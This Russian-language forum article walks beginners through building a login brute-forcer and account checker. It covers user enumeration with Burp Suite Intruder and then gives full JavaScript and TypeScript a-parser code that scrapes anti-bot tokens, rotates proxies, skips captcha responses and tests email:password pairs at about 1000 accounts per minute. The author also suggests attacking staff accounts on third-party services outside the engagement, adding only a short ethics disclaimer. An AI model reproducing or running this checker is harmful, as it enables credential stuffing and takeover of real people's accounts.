• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

Статья BruteForce на JS для новичков

Приветствую! Используя знания в области JavaScript, можно более эффективно и всесторонне исследовать безопасность веб-приложений. Навыки программирования на JS позволяют значительно расширить границы автоматизации и вариативности атак, углубляя анализ и повышая качество выполнения атак на конкретные цели. Такой подход способствует более продуктивной работе.

Без-имени-1.jpg

Важно понять, что вас интересует. Лично меня всегда привлекали утилиты для пентеста, написанные своими руками: регчекеры, брутфорсеры и т.д. Но когда мне это было интересно - в интернете не было нормальных инструкций. Я находил некоторые проекты на Python, но они были не оптимизированы и не продуманы.

На мой взгляд, настоящий мастер пентеста — это тот, кто умеет создавать и редактировать программное обеспечение (например, как @N1GGA и @BearSec). Ведь на GitHub полно уникальных утилит, но, к сожалению, они часто не доработаны или требуют обновлений. Нанять кого-то, чтобы написать ПО на заказ, довольно дорого. Поэтому я решил создать свой ресурс с заметками и обратился к людям, которые пишут ПО на заказ. Мне нужно было ПО, где можно загрузить логин и пароль, добавить прокси и сохранить результаты в отдельный файл.
Эта идея пришла мне, когда я пытался решить задачу на курсе WAPT с помощью инструмента Hydra. Я не мог найти, как добавить прокси, которые обновляются по ссылке. Я прочитал много статей, но так и не нашел готового решения. Думаю, объяснять, зачем нужны прокси, не стоит — это и так все знают. Я сам еще новичок и не умею программировать, поэтому решил заказать разработку ПО у профессионалов, когда появились свободные финансы:

1688859522313.png


Цена была высокой. Я не знаю, почему автор берет за свои услуги 700 долларов... В итоге, я решил по-своему: сделать чекер с помощью Burp Suite Professional. Получилось, но я так и не понял, как добавить в него прокси по ссылке. Именно в этом и заключается проблема. Вот как все происходило:

У меня есть веб-ресурс с заметками. То есть можно войти в аккаунт и создать заметку, которая будет сохранена. Если аккаунт не зарегистрирован, пользователь увидит определенное сообщение:

1688859535840.png

1688859544012.png


Если аккаунт существует, то его перенаправит на форму для ввода пароля. Если пароль неверный, то на экране появится соответствующее сообщение:

1688859554995.png

1688859569716.png


Поэтому нужно предусмотреть все исходы. Всё зависит от ресурса: где-то надо подтверждать почту, где-то пароль неверный, где-то аккаунт не существует и т.п. Для теста нужно зарегистрировать существующий аккаунт, несуществующий (случайный логин), подтвержденный аккаунт, неподтвержденный аккаунт. Дальше уже зависит от того, что вам нужно.

Теперь откроем Burp Suite и введем несуществующий login. Перехватим и посмотрим на POST-запрос, который мы отправляем:

1688759504919.png


Мы отправляем username, которого нет в бд. Перенаправляем запрос в Repeater и отправляем запрос еще раз. Будем смотреть ответ:

1688859592518.png


Как мы видим, если юзернейма нет в базе данных, то в ответ прилетает сообщение: ”Аккаунта с таким адресом эл. почты или именем пользователя не существует”

Теперь попробуем отправить Email, который существует. Я отправил и ошибок никаких не было, а значит нужно ориентироваться конкретно на несуществующий Email, потому что так будет проще. Если почта не существует, то в ответе есть вот такое содержимое:

1688759563556.png


Отлично! Мы знаем, как указать Burp Suite какие аккаунты не существуют. Если вам не удалось найти что-то уникальное сразу на глаз, то попробуйте взять любой текстовой редактор и закинуть туда 2 responsa в случае успеха и невалида. Далее просто проверьте на уникальность. Также можно сразу в Burp Suite проверить два запроса на уникальность, используя функцию "Comparer" (Сравнение)

Закидываем содержимое ответа в Comparer и смотрим:

1688859606870.png


На глаз я правильно определил изначально. Как мы видим подсвечивается “usePasswordAuth”: значение отличается. Мы определили разницу между успехом и невалидом в двух ответах. Самое время закинуть наш запрос (шаблон) в intruder. Меняться будет только email, поэтому выделяем его. Добавляем в payload почты, которые мы хотим проверить:

1688759606411.png

1688759636271.png


Добавляем наш текст для фильтрации и запускаем:

1688759665500.png

1688759693989.png


Выделяем все результаты и копируем в текстовой редактор. Например, в emeditor. Пробел заменяем на точку с запятой:

1688859636666.png


Выбираем разделитель “Точка с запятой” и выделяем нужную колонку (где по UsePassword был поиск в ответ):

1688859649790.png


1688859662801.png


Ставим галочку только в выделенном фрагменте, ищем цифру 1. Это несуществующие аккаунты, так как мы искали по false. Далее нажимаем "Закладка".

Возвращаемся на исходную позицию и смотрим, что у нас выделилось:

1688759794586.png


Как раз ненужная строчка с несуществующим емейлом. Теперь мы можем ее просто удалить:

1688859678770.png


Да, это действительно работает, но это для вашего понимания. Работать так точно не стоит – это абсолютно неудобно. Нужно всё автоматизировать, чтобы так сильно не мучаться. Чего нам не хватает?
1) Прокси, которые обновляются по ссылке
2) Результат, чтобы автоматически сохранялся в отдельный файл output.txt
3) Готовый шаблон, чтобы не перехватывать постоянно запрос.
4)Оптимизированная быстрая работа. В таком деле самое важное – это скорость.

Мне в голову пришло два варианта:

  1. Искать инструмент в OpenBullet - набор для веб-тестирования, который позволяет выполнять запросы к целевому веб-приложению и предлагает множество инструментов для работы с результатами). Это программное обеспечение может использоваться для очистки и анализа данных, автоматического пентеста, модульного тестирования с помощью selenium и многого другого.
    GitHub - openbullet/openbullet: The OpenBullet web testing application.
  2. Искать человека, который работу на a-parser. У меня он давно еще был куплен. Я прочитал, что там можно создавать шаблоны на JavaScript и поэтому подумал, что это будет неплохим решением.
Я скинул полное тестовое задание и показал мое решение через Burp Suite. Ребята согласились взяться за мой заказ. Спустя пару дней всё было готово.Я импортировал шаблон в a-parser и вот такие файлы появились:

1688760188579.png

  • .map файл - это файл, который создается при преобразовании TS в JS
  • .ts - код на typrescript
  • .js - код на javascript

Если посмотреть код парсера, то там легко читается алгоритм:
  1. Получение необходимых кук
  2. В зависимости от вида запроса:
  3. проверка существования логина
ИЛИ
  1. проверка пароля для авторизации по указанному логину

Никакие дополнительные библиотеки в данном парсере не используются.

Проверка аккаунта на наличие регистрации:
JavaScript:
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.JS_order_3749 = void 0;
const a_parser_types_1 = require("a-parser-types");
class JS_order_3749 extends a_parser_types_1.BaseParser {
    async parse(set, results) {
        const q = set.query.split(/:/);
        for (let attempt = 1; attempt <= this.conf.proxyretries; attempt++) {
            let hpts, hptsh;
            const { success } = await this.request('GET', 'https://www.example.com/Login.action', {}, {
                attempt,
                check_content: [(data, hdr) => {
                        try {
                            hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
                            hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
                            return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
                        }
                        catch (e) {
                            return false;
                        }
                    }]
            });
            if (!success) {
                await this.proxy.next();
                continue;
            }
            const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
            if (result) {
                results.status = result;
                results.success = 1;
                break;
            }
        }
        return results;
    }
    async checkLogin(username, hpts, hptsh, attempt) {
        let json;
        const { success } = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password: '',
            evaluateUsername: '',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            check_content: [(data) => {
                    try {
                        json = JSON.parse(data);
                        if (json.captchaShow)
                            return false;
                        return true;
                    }
                    catch (e) {
                        return false;
                    }
                }]
        });
        if (success) {
            return json.usePasswordAuth ? 1 : -1;
        }
        else {
            return 0;
        }
    }
    async checkPassword(username, password, hpts, hptsh, attempt) {
        const { success, headers } = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password,
            login: 'Sign in',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1, 302: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            onlyheaders: 1
        });
        return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
    }
}
exports.JS_order_3749 = JS_order_3749;
JS_order_3749.defaultConf = {
    results: {
        flat: [
            ['status', 'Status']
        ]
    },
    max_size: 1024 * 1024,
    results_format: "$query: $status\\n"
};
//# sourceMappingURL=order-3749.js.map

Проверка Email:
Код:
import { BaseParser } from 'a-parser-types';

export class JS_order_3749 extends BaseParser {
    static defaultConf: typeof BaseParser.defaultConf = {
        results: {
            flat: [
                ['status', 'Status']
            ]
        },
        max_size: 1024 * 1024,
        results_format: "$query: $status\\n"
    };

    async parse(set, results) {
        const q = set.query.split(/:/);
        for(let attempt = 1; attempt <= this.conf.proxyretries; attempt++) {
            let hpts, hptsh;
            const {success} = await this.request('GET', 'https://www.example.com/Login.action', {}, {
                attempt,
                check_content: [(data, hdr) => {
                    try {
                        hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
                        hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
                        return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
                    } catch(e) {
                        return false;
                    }
                }]
            });
            if(!success) {
                await this.proxy.next();
                continue;
            }

            const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
            if(result) {
                results.status = result;
                results.success = 1;
                break;
            }
        }

        return results;
    }

    async checkLogin(username, hpts, hptsh, attempt) {
        let json;
        const {success} = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password: '',
            evaluateUsername: '',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            check_content: [(data) => {
                try {
                    json = JSON.parse(data);
                    if(json.captchaShow) return false;
                    return true;
                } catch(e) {
                    return false;
                }
            }]
        });
        if(success) {
            return json.usePasswordAuth ? 1 : -1;
        } else {
            return 0;
        }
    }

    async checkPassword(username, password, hpts, hptsh, attempt) {
        const {success, headers} = await this.request('POST', 'https://www.example.com/Login.action', {
            username,
            password,
            login: 'Sign in',
            hpts,
            hptsh,
            analyticsLoginOrigin: 'login_action',
            clipperFlow: 'false',
            showSwitchService: 'true',
            usernameImmutable: 'false'
        }, {
            parsecodes: { 200: 1, 302: 1 },
            attempt,
            headers: {
                referer: 'https://www.example.com/Login.action',
                'x-requested-with': 'XMLHttpRequest'
            },
            onlyheaders: 1
        });
        return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
    }
}

1688859700951.png


На вход можно подавать как Email, так и Email:password. Давайте посмотрим, какая скорость проверки будет на 100 потоках. В минуту можно проверять +- 1000 аккаунтов. Результат автоматически сохраняется в текстовой файл:

1688760693738.png

1688760709576.png


Если вам разрешено проводить атаки на проникновение и вы не смогли найти уязвимостей в одной из целей, но заметили, что администратор или сотрудник зарегистрирован на другом стороннем сервисе, то написание подобного скрипта может быть полезно в следующих случаях:

  1. Вы можете написать скрипт, чтобы перебрать возможные пароли этого администратора или сотрудника на стороннем сервисе. Это может быть полезно, если для этого аккаунта используется слабый или уязвимый пароль.
  2. Если администратор или сотрудник используют тот же самый пароль на разных сервисах, вы можете использовать скрипт для проверки, не совпадают ли пароли между целью, где вы не нашли уязвимостей, и сторонним сервисом.
  3. При проведении подобной атаки на сторонний сервис вы можете получить дополнительную информацию, которую можно использовать для дальнейшей атаки на целевую систему. Например, вы можете получить информацию о последовательности пароля или описать ошибки авторизации, которые можно использовать для усиления атаки на основную цель.

Однако важно соблюдать этику и законы при проведении пентеста. Убедитесь, что у вас есть разрешение от компании и следуйте их правилам и регламенту, чтобы избежать юридических проблем или нанесения ущерба компании.
 
Последнее редактирование модератором:
  • Нравится
Реакции: EvaSpring
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD